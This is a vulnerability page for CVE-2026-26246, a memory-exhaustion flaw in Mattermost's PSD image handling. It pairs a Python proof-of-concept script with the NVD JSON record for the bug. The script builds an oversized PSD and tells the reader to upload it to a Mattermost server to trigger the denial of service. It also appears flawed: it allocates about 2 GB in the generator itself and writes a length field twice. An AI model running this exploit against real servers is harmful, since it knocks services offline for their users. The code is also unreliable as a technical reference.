CVE-2026-26246

import struct import os def create_malicious_psd(): """ Generate a malicious PSD file that can trigger memory exhaustion CVE-2026-26246 PoC """ # PSD file signature signature = b'8BPS' # Version (1 = PSD, 2 = PSB) version = struct.pack('>H', 1) # Reserved bytes (6 bytes) reserved = b'\x00' * 6 # Number of channels (1-56) num_channels = struct.pack('>H', 3) # Image height height = struct.pack('>I', 0x7FFFFFFF) # Large height value # Image width width = struct.pack('>I', 0x7FFFFFFF) # Large width value # Depth (1, 8, 16, or 32) depth = struct.pack('>H', 8) # Color mode (0 = Bitmap, 1 = Grayscale, etc.) color_mode = struct.pack('>H', 3) # Color mode section color_mode_length = struct.pack('>I', 0) color_mode_section = color_mode_length # Image resources section (with excessive data) image_resources = struct.pack('>I', 0x7FFFFFFF) + b'\xFF' * 0x7FFFFFFF # Layer and mask section layer_mask_section = struct.pack('>I', 0) # Composite image data composite_data = b'\x00' * 1024 # Construct the malicious PSD file psd_data = signature + version + reserved + num_channels + height + width + depth + color_mode psd_data += color_mode_section + struct.pack('>I', len(image_resources)) + image_resources psd_data += layer_mask_section + composite_data return psd_data # Generate and save the malicious PSD file malicious_psd = create_malicious_psd() with open('CVE-2026-26246_malicious.psd', 'wb') as f: f.write(malicious_psd) print('Malicious PSD file generated: CVE-2026-26246_malicious.psd') print('Upload this file to Mattermost server to trigger the vulnerability')

{"cve": {"id": "CVE-2026-26246", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:26.880", "lastModified": "2026-03-18T18:03:54.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to bound memory allocation when processing PSD image files which allows an authenticated attacker to cause server memory exhaustion and denial of service via uploading a specially crafted PSD file. Mattermost Advisory ID: MMSA-2026-00572"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 no logran limitar la asignación de memoria al procesar archivos de imagen PSD, lo que permite a un atacante autenticado causar el agotamiento de la memoria del servidor y denegación de servicio mediante la carga de un archivo PSD especialmente diseñado. ID de Aviso de Mattermost: MMSA-2026-00572"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}